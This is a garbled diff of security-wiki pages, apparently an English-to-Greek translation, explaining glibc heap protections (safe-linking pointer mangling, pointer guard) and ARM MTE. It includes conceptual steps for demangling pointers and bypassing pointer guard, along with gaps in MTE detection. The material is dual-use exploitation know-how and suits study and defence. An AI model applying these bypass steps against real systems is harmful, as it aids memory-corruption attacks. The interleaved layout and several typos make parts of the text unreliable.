The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
|
||||
Οι νέοι κανόνες ευθυγράμμισης στο Malloc αποτρέπουν επίσης μια κλασική επίθεση που περιλαμβάνει τον `__malloc_hook`. Προηγουμένως, οι επιτιθέμενοι μπορούσαν να χειραγωγήσουν τα μεγέθη των κομματιών για να **επικαλύψουν αυτόν τον δείκτη συνάρτησης** και να αποκτήσουν **εκτέλεση κώδικα**. Τώρα, η αυστηρή απαίτηση ευθυγράμμισης διασφαλίζει ότι τέτοιες χειραγωγήσεις δεν είναι πλέον βιώσιμες, κλείνοντας μια κοινή διαδρομή εκμετάλλευσης και ενισχύοντας τη συνολική ασφάλεια.
|
||||
|
||||
## Pointer Mangling on fastbins and tcache
|
||||
|
||||
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
|
||||
**Pointer Mangling** είναι μια βελτίωση ασφαλείας που χρησιμοποιείται για την προστασία των **fastbin και tcache Fd pointers** σε λειτουργίες διαχείρισης μνήμης. Αυτή η τεχνική βοηθά στην αποτροπή ορισμένων τύπων τακτικών εκμετάλλευσης μνήμης, συγκεκριμένα αυτών που δεν απαιτούν διαρροή πληροφοριών μνήμης ή που χειραγωγούν άμεσα τις τοποθεσίες μνήμης σε σχέση με γνωστές θέσεις (σχετικές **επικαλύψεις**).
|
||||
|
||||
The core of this technique is an obfuscation formula:
|
||||
Ο πυρήνας αυτής της τεχνικής είναι μια φόρμουλα απόκρυψης:
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
- **L** is the **Storage Location** of the pointer.
|
||||
- **P** is the actual **fastbin/tcache Fd Pointer**.
|
||||
- **L** είναι η **Τοποθεσία Αποθήκευσης** του δείκτη.
|
||||
- **P** είναι ο πραγματικός **fastbin/tcache Fd Pointer**.
|
||||
|
||||
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
|
||||
Ο λόγος για τη μετατόπιση των bit της τοποθεσίας αποθήκευσης (L) κατά 12 bit προς τα δεξιά πριν από τη λειτουργία XOR είναι κρίσιμος. Αυτή η χειραγώγηση αντιμετωπίζει μια ευπάθεια που είναι εγγενής στη ντετερμινιστική φύση των 12 λιγότερο σημαντικών bit των διευθύνσεων μνήμης, οι οποίες είναι συνήθως προβλέψιμες λόγω περιορισμών αρχιτεκτονικής συστήματος. Με τη μετατόπιση των bit, το προβλέψιμο τμήμα απομακρύνεται από την εξίσωση, ενισχύοντας την τυχαιότητα του νέου, παραμορφωμένου δείκτη και έτσι προστατεύοντας από εκμεταλλεύσεις που βασίζονται στην προβλεψιμότητα αυτών των bit.
|
||||
|
||||
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
|
||||
Αυτός ο παραμορφωμένος δείκτης εκμεταλλεύεται την υπάρχουσα τυχαιότητα που παρέχεται από **Address Space Layout Randomization (ASLR)**, η οποία τυχαίνει τις διευθύνσεις που χρησιμοποιούνται από προγράμματα για να δυσκολεύει τους επιτιθέμενους να προβλέψουν τη διάταξη μνήμης μιας διαδικασίας.
|
||||
|
||||
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
|
||||
**Demangling** του δείκτη για να ανακτηθεί η αρχική διεύθυνση περιλαμβάνει τη χρήση της ίδιας λειτουργίας XOR. Εδώ, ο παραμορφωμένος δείκτης αντιμετωπίζεται ως P στη φόρμουλα, και όταν XORαριστεί με την αμετάβλητη τοποθεσία αποθήκευσης (L), αποκαλύπτεται ο αρχικός δείκτης. Αυτή η συμμετρία στην παραμόρφωση και αποπαραμόρφωση διασφαλίζει ότι το σύστημα μπορεί να κωδικοποιεί και να αποκωδικοποιεί αποτελεσματικά τους δείκτες χωρίς σημαντικό κόστος, ενώ αυξάνει σημαντικά την ασφάλεια κατά των επιθέσεων που χειραγωγούν τους δείκτες μνήμης.
|
||||
|
||||
### Security Benefits
|
||||
|
||||
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
|
||||
Ο παραμορφωμένος δείκτης στοχεύει να **αποτρέψει μερικές και πλήρεις επικαλύψεις δείκτων στη διαχείριση heap**, μια σημαντική βελτίωση στην ασφάλεια. Αυτή η δυνατότητα επηρεάζει τις τεχνικές εκμετάλλευσης με διάφορους τρόπους:
|
||||
|
||||
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
|
||||
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
|
||||
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
|
||||
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
|
||||
1. **Αποτροπή Σχετικών Επικαλύψεων Byte Byte**: Προηγουμένως, οι επιτιθέμενοι μπορούσαν να αλλάξουν μέρος ενός δείκτη για να **ανακατευθύνουν τα κομμάτια heap σε διαφορετικές τοποθεσίες χωρίς να γνωρίζουν ακριβείς διευθύνσεις**, μια τεχνική που είναι προφανής στην εκμετάλλευση χωρίς διαρροές **House of Roman**. Με τον παραμορφωμένο δείκτη, τέτοιες σχετικές επικαλύψεις **χωρίς διαρροή heap απαιτούν τώρα βίαιη δύναμη**, μειώνοντας δραστικά την πιθανότητα επιτυχίας τους.
|
||||
2. **Αυξημένη Δυσκολία Επιθέσεων Tcache Bin/Fastbin**: Κοινές επιθέσεις που επικαλύπτουν δείκτες συναρτήσεων (όπως `__malloc_hook`) με τη χειραγώγηση των fastbin ή tcache καταχωρήσεων εμποδίζονται. Για παράδειγμα, μια επίθεση μπορεί να περιλαμβάνει τη διαρροή μιας διεύθυνσης LibC, την απελευθέρωση ενός κομματιού στο bin tcache και στη συνέχεια την επικαλυπτική του δείκτη Fd για να το ανακατευθύνει στο `__malloc_hook` για αυθαίρετη εκτέλεση κώδικα. Με τον παραμορφωμένο δείκτη, αυτοί οι δείκτες πρέπει να είναι σωστά παραμορφωμένοι, **απαιτώντας μια διαρροή heap για ακριβή χειραγώγηση**, αυξάνοντας έτσι το εμπόδιο εκμετάλλευσης.
|
||||
3. **Απαίτηση Διαρροών Heap σε Μη-Heap Τοποθεσίες**: Η δημιουργία ενός ψεύτικου κομματιού σε μη-heap περιοχές (όπως η στοίβα, η ενότητα .bss ή το PLT/GOT) απαιτεί επίσης **μια διαρροή heap** λόγω της ανάγκης για παραμόρφωση δείκτη. Αυτό επεκτείνει την πολυπλοκότητα της εκμετάλλευσης αυτών των περιοχών, παρόμοια με την απαίτηση για χειραγώγηση διευθύνσεων LibC.
|
||||
4. **Η Διαρροή Διευθύνσεων Heap Γίνεται Πιο Δύσκολη**: Ο παραμορφωμένος δείκτης περιορίζει τη χρησιμότητα των δεικτών Fd σε fastbin και tcache bins ως πηγές για διαρροές διευθύνσεων heap. Ωστόσο, οι δείκτες σε αταξινόμητα, μικρά και μεγάλα bins παραμένουν μη παραμορφωμένοι, επομένως είναι ακόμα χρήσιμοι για διαρροές διευθύνσεων. Αυτή η αλλαγή ωθεί τους επιτιθέμενους να εξερευνήσουν αυτά τα bins για εκμεταλλεύσιμες πληροφορίες, αν και ορισμένες τεχνικές μπορεί να επιτρέπουν ακόμα την αποπαραμόρφωση δεικτών πριν από μια διαρροή, αν και με περιορισμούς.
|
||||
|
||||
### **Demangling Pointers with a Heap Leak**
|
||||
|
||||
> [!CAUTION]
|
||||
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||
> Για μια καλύτερη εξήγηση της διαδικασίας [**ελέγξτε την αρχική ανάρτηση από εδώ**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||
|
||||
### Algorithm Overview
|
||||
|
||||
The formula used for mangling and demangling pointers is: 
|
||||
Η φόρμουλα που χρησιμοποιείται για την παραμόρφωση και αποπαραμόρφωση δεικτών είναι: 
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
|
||||
Όπου **L** είναι η τοποθεσία αποθήκευσης και **P** είναι ο δείκτης Fd. Όταν **L** μετατοπίζεται προς τα δεξιά κατά 12 bit, εκθέτει τα πιο σημαντικά bit του **P**, λόγω της φύσης του **XOR**, το οποίο επιστρέφει 0 όταν τα bit XORαριστούν με τον εαυτό τους.
|
||||
|
||||
**Key Steps in the Algorithm:**
|
||||
|
||||
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
|
||||
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
|
||||
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
|
||||
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
|
||||
1. **Αρχική Διαρροή των Πιο Σημαντικών Bit**: Με το XORαρισμα του μετατοπισμένου **L** με **P**, αποκτάτε αποτελεσματικά τα 12 πιο σημαντικά bit του **P** επειδή το μετατοπισμένο τμήμα του **L** θα είναι μηδέν, αφήνοντας τα αντίστοιχα bit του **P** αμετάβλητα.
|
||||
2. **Ανάκτηση των Bit του Δείκτη**: Δεδομένου ότι το XOR είναι αναστρέψιμο, γνωρίζοντας το αποτέλεσμα και έναν από τους τελεστές σας επιτρέπει να υπολογίσετε τον άλλο τελεστή. Αυτή η ιδιότητα χρησιμοποιείται για να υπολογίσει το σύνολο των bit για **P** με διαδοχικό XORαρισμα γνωστών συνόλων bit με μέρη του παραμορφωμένου δείκτη.
|
||||
3. **Επαναληπτική Αποπαραμόρφωση**: Η διαδικασία επαναλαμβάνεται, κάθε φορά χρησιμοποιώντας τα νέα ανακαλυφθέντα bit του **P** από το προηγούμενο βήμα για να αποκωδικοποιήσει το επόμενο τμήμα του παραμορφωμένου δείκτη, μέχρι να ανακτηθούν όλα τα bit.
|
||||
4. **Διαχείριση Ντετερμινιστικών Bit**: Τα τελικά 12 bit του **L** χάνονται λόγω της μετατόπισης, αλλά είναι ντετερμινιστικά και μπορούν να ανακατασκευαστούν μετά τη διαδικασία.
|
||||
|
||||
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
Μπορείτε να βρείτε μια υλοποίηση αυτού του αλγορίθμου εδώ: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
|
||||
## Pointer Guard
|
||||
|
||||
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
|
||||
Ο δείκτης φρουρού είναι μια τεχνική μετριασμού εκμετάλλευσης που χρησιμοποιείται στη glibc για την προστασία των αποθηκευμένων δεικτών συναρτήσεων, ιδιαίτερα αυτών που καταχωρούνται από κλήσεις βιβλιοθήκης όπως το `atexit()`. Αυτή η προστασία περιλαμβάνει την ανακατεύθυνση των δεικτών με XORαρισμα τους με ένα μυστικό που αποθηκεύεται στα δεδομένα νήματος (`fs:0x30`) και την εφαρμογή μιας μετατόπισης bit. Αυτός ο μηχανισμός στοχεύει να αποτρέψει τους επιτιθέμενους από το να αναλάβουν τον έλεγχο της ροής εκτέλεσης επικαλύπτοντας τους δείκτες συναρτήσεων.
|
||||
|
||||
### **Bypassing Pointer Guard with a leak**
|
||||
|
||||
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
|
||||
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
|
||||
3. **Exploiting Known Plaintexts:**
|
||||
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
|
||||
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
|
||||
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
|
||||
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
|
||||
1. **Κατανόηση των Λειτουργιών του Pointer Guard:** Η ανακατεύθυνση (παραμόρφωση) των δεικτών γίνεται χρησιμοποιώντας το μακροεντολή `PTR_MANGLE` που XORαριστεί τον δείκτη με ένα 64-bit μυστικό και στη συνέχεια εκτελεί μια αριστερή μετατόπιση 0x11 bit. Η αντίστροφη λειτουργία για την ανάκτηση του αρχικού δείκτη διαχειρίζεται από το `PTR_DEMANGLE`.
|
||||
2. **Στρατηγική Επίθεσης:** Η επίθεση βασίζεται σε μια προσέγγιση γνωστού κειμένου, όπου ο επιτιθέμενος πρέπει να γνωρίζει τόσο την αρχική όσο και την παραμορφωμένη έκδοση ενός δείκτη για να deduce το μυστικό που χρησιμοποιήθηκε για την παραμόρφωση.
|
||||
3. **Εκμετάλλευση Γνωστών Κειμένων:**
|
||||
- **Εντοπισμός Σταθερών Δεικτών Συναρτήσεων:** Εξετάζοντας τον πηγαίο κώδικα της glibc ή τους πίνακες δεικτών συναρτήσεων που έχουν αρχικοποιηθεί (όπως `__libc_pthread_functions`), ένας επιτιθέμενος μπορεί να βρει προβλέψιμους δείκτες συναρτήσεων.
|
||||
- **Υπολογισμός του Μυστικού:** Χρησιμοποιώντας έναν γνωστό δείκτη συναρτήσεων όπως το `__pthread_attr_destroy` και την παραμορφωμένη έκδοση του από τον πίνακα δεικτών συναρτήσεων, το μυστικό μπορεί να υπολογιστεί με την αντίστροφη μετατόπιση (δεξιά μετατόπιση) του παραμορφωμένου δείκτη και στη συνέχεια XORαρισμα του με τη διεύθυνση της συνάρτησης.
|
||||
4. **Εναλλακτικά Κείμενα:** Ο επιτιθέμενος μπορεί επίσης να πειραματιστεί με την παραμόρφωση δεικτών με γνωστές τιμές όπως 0 ή -1 για να δει αν αυτές παράγουν αναγνωρίσιμα μοτίβα στη μνήμη, αποκαλύπτοντας ενδεχομένως το μυστικό όταν αυτά τα μοτίβα βρεθούν σε εκφορτώσεις μνήμης.
|
||||
5. **Πρακτική Εφαρμογή:** Αφού υπολογιστεί το μυστικό, ένας επιτιθέμενος μπορεί να χειραγωγήσει τους δείκτες με ελεγχόμενο τρόπο, ουσιαστικά παρακάμπτοντας την προστασία Pointer Guard σε μια πολυνηματική εφαρμογή με γνώση της διεύθυνσης βάσης libc και ικανότητα ανάγνωσης αυθαίρετων τοποθεσιών μνήμης.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,80 +4,78 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
|
||||
**Memory Tagging Extension (MTE)** έχει σχεδιαστεί για να ενισχύει την αξιοπιστία και την ασφάλεια του λογισμικού με την **ανίχνευση και την πρόληψη σφαλμάτων που σχετίζονται με τη μνήμη**, όπως οι υπερβάσεις buffer και οι ευπάθειες use-after-free. Το MTE, ως μέρος της **ARM** αρχιτεκτονικής, παρέχει έναν μηχανισμό για την προσθήκη ενός **μικρού tag σε κάθε κατανομή μνήμης** και ενός **αντίστοιχου tag σε κάθε δείκτη** που αναφέρεται σε αυτή τη μνήμη. Αυτή η προσέγγιση επιτρέπει την ανίχνευση παράνομων προσβάσεων μνήμης κατά την εκτέλεση, μειώνοντας σημαντικά τον κίνδυνο εκμετάλλευσης τέτοιων ευπαθειών για την εκτέλεση αυθαίρετου κώδικα.
|
||||
|
||||
### **How Memory Tagging Extension Works**
|
||||
|
||||
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. 
|
||||
Το MTE λειτουργεί με **διαίρεση της μνήμης σε μικρές, σταθερού μεγέθους μπλοκ, με κάθε μπλοκ να έχει ανατεθεί ένα tag,** συνήθως μερικά bits σε μέγεθος. 
|
||||
|
||||
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
|
||||
Όταν δημιουργείται ένας δείκτης για να δείξει σε αυτή τη μνήμη, αποκτά το ίδιο tag. Αυτό το tag αποθηκεύεται στα **αχρησιμοποίητα bits ενός δείκτη μνήμης**, συνδέοντας αποτελεσματικά τον δείκτη με το αντίστοιχο μπλοκ μνήμης.
|
||||
|
||||
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
|
||||
Όταν ένα πρόγραμμα προσπελάσει τη μνήμη μέσω ενός δείκτη, το υλικό MTE ελέγχει ότι το **tag του δείκτη ταιριάζει με το tag του μπλοκ μνήμης**. Εάν τα tags **δεν ταιριάζουν**, αυτό υποδεικνύει μια **παράνομη πρόσβαση μνήμης.**
|
||||
|
||||
### MTE Pointer Tags
|
||||
|
||||
Tags inside a pointer are stored in 4 bits inside the top byte:
|
||||
Τα tags μέσα σε έναν δείκτη αποθηκεύονται σε 4 bits μέσα στο ανώτερο byte:
|
||||
|
||||
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
Therefore, this allows up to **16 different tag values**.
|
||||
Επομένως, αυτό επιτρέπει έως **16 διαφορετικές τιμές tag**.
|
||||
|
||||
### MTE Memory Tags
|
||||
|
||||
Every **16B of physical memory** have a corresponding **memory tag**.
|
||||
Κάθε **16B φυσικής μνήμης** έχει ένα αντίστοιχο **tag μνήμης**.
|
||||
|
||||
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
|
||||
|
||||
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
|
||||
Τα tags μνήμης αποθηκεύονται σε μια **αφιερωμένη περιοχή RAM** (μη προσβάσιμη για κανονική χρήση). Έχοντας 4 bits tags για κάθε 16B tags μνήμης έως 3% της RAM.
|
||||
|
||||
Η ARM εισάγει τις παρακάτω εντολές για να χειριστεί αυτά τα tags στη αφιερωμένη μνήμη RAM:
|
||||
```
|
||||
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
||||
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
||||
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
|
||||
...
|
||||
```
|
||||
## Έλεγχος Λειτουργιών
|
||||
|
||||
## Checking Modes
|
||||
### Συγχρονισμένος
|
||||
|
||||
### Sync
|
||||
Ο CPU ελέγχει τις ετικέτες **κατά την εκτέλεση της εντολής**, αν υπάρχει ασυμφωνία, προκαλεί μια εξαίρεση.\
|
||||
Αυτός είναι ο πιο αργός και ασφαλής τρόπος.
|
||||
|
||||
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
|
||||
This is the slowest and most secure.
|
||||
### Ασύγχρονος
|
||||
|
||||
### Async
|
||||
Ο CPU ελέγχει τις ετικέτες **ασύγχρονα**, και όταν βρεθεί μια ασυμφωνία, θέτει ένα bit εξαίρεσης σε μία από τις καταχωρήσεις του συστήματος. Είναι **ταχύτερος** από τον προηγούμενο αλλά είναι **ανίκανος να υποδείξει** την ακριβή εντολή που προκαλεί την ασυμφωνία και δεν προκαλεί την εξαίρεση αμέσως, δίνοντας λίγο χρόνο στον επιτιθέμενο να ολοκληρώσει την επίθεσή του.
|
||||
|
||||
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
|
||||
|
||||
### Mixed
|
||||
### Μικτός
|
||||
|
||||
???
|
||||
|
||||
## Implementation & Detection Examples
|
||||
## Παραδείγματα Υλοποίησης & Ανίχνευσης
|
||||
|
||||
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
|
||||
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
|
||||
Ονομάζεται Hardware Tag-Based KASAN, MTE-based KASAN ή in-kernel MTE.\
|
||||
Οι αλγόριθμοι του πυρήνα (όπως το `kmalloc`) θα **καλέσουν αυτό το module** το οποίο θα προετοιμάσει την ετικέτα για χρήση (τυχαία) και θα την επισυνάψει στη μνήμη του πυρήνα που έχει εκχωρηθεί και στον επιστρεφόμενο δείκτη.
|
||||
|
||||
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
|
||||
Σημειώστε ότι θα **σημειώσει μόνο αρκετές μνήμες** (16B η καθεμία) για το ζητούμενο μέγεθος. Έτσι, αν το ζητούμενο μέγεθος ήταν 35 και δόθηκε μια πλάκα 60B, θα σημειώσει τα πρώτα 16\*3 = 48B με αυτή την ετικέτα και το **υπόλοιπο** θα είναι **σημειωμένο** με μια λεγόμενη **άκυρη ετικέτα (0xE)**.
|
||||
|
||||
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
|
||||
Η ετικέτα **0xF** είναι η **ετικέτα που ταιριάζει σε όλους τους δείκτες**. Μια μνήμη με αυτόν τον δείκτη επιτρέπει **οποιαδήποτε ετικέτα να χρησιμοποιηθεί** για την πρόσβαση στη μνήμη της (χωρίς ασυμφωνίες). Αυτό θα μπορούσε να αποτρέψει το MET από το να ανιχνεύσει μια επίθεση αν αυτή η ετικέτα χρησιμοποιείται στη μνήμη που δέχεται την επίθεση.
|
||||
|
||||
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
|
||||
Επομένως, υπάρχουν μόνο **14 τιμές** που μπορούν να χρησιμοποιηθούν για τη δημιουργία ετικετών καθώς οι 0xE και 0xF είναι δεσμευμένες, δίνοντας πιθανότητα **επανάχρησης ετικετών** 1/17 -> περίπου **7%**.
|
||||
|
||||
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
|
||||
Αν ο πυρήνας έχει πρόσβαση στην **άκυρη μνήμη**, η **ασυμφωνία** θα **ανιχνευθεί**. Αν έχει πρόσβαση σε άλλη τοποθεσία μνήμης, αν η **μνήμη έχει διαφορετική ετικέτα** (ή την άκυρη ετικέτα) η ασυμφωνία θα **ανιχνευθεί**. Αν ο επιτιθέμενος είναι τυχερός και η μνήμη χρησιμοποιεί την ίδια ετικέτα, δεν θα ανιχνευθεί. Οι πιθανότητες είναι περίπου 7%.
|
||||
|
||||
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
|
||||
Ένα άλλο σφάλμα συμβαίνει στην **τελευταία μνήμη** της εκχωρημένης μνήμης. Αν η εφαρμογή ζητήσει 35B, θα της δοθεί η μνήμη από 32 έως 48. Επομένως, τα **bytes από 36 έως 47 χρησιμοποιούν την ίδια ετικέτα** αλλά δεν ζητήθηκαν. Αν ο επιτιθέμενος έχει πρόσβαση **σε αυτά τα επιπλέον bytes, αυτό δεν ανιχνεύεται**.
|
||||
|
||||
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
|
||||
Όταν εκτελείται το **`kfree()`**, η μνήμη επανασημαίνεται με την άκυρη ετικέτα μνήμης, έτσι σε μια **χρήση μετά την απελευθέρωση**, όταν η μνήμη προσπελαστεί ξανά, η **ασυμφωνία ανιχνεύεται**.
|
||||
|
||||
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
|
||||
Ωστόσο, σε μια χρήση μετά την απελευθέρωση, αν το ίδιο **κομμάτι επανακατανεμηθεί ξανά με την ΙΔΙΑ ετικέτα** όπως προηγουμένως, ένας επιτιθέμενος θα μπορέσει να χρησιμοποιήσει αυτή την πρόσβαση και αυτό δεν θα ανιχνευθεί (περίπου 7% πιθανότητα).
|
||||
|
||||
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
|
||||
Επιπλέον, μόνο οι **`slab` και `page_alloc`** χρησιμοποιούν ετικετοποιημένη μνήμη αλλά στο μέλλον αυτό θα χρησιμοποιηθεί επίσης σε `vmalloc`, `stack` και `globals` (τη στιγμή του βίντεο αυτά μπορούν ακόμα να καταχραστούν).
|
||||
|
||||
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
|
||||
Όταν ανιχνεύεται μια **ασυμφωνία**, ο πυρήνας θα **πανικοβληθεί** για να αποτρέψει περαιτέρω εκμετάλλευση και επαναλήψεις της εκμετάλλευσης (το MTE δεν έχει ψευδώς θετικά).
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)
|
||||
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
|
||||
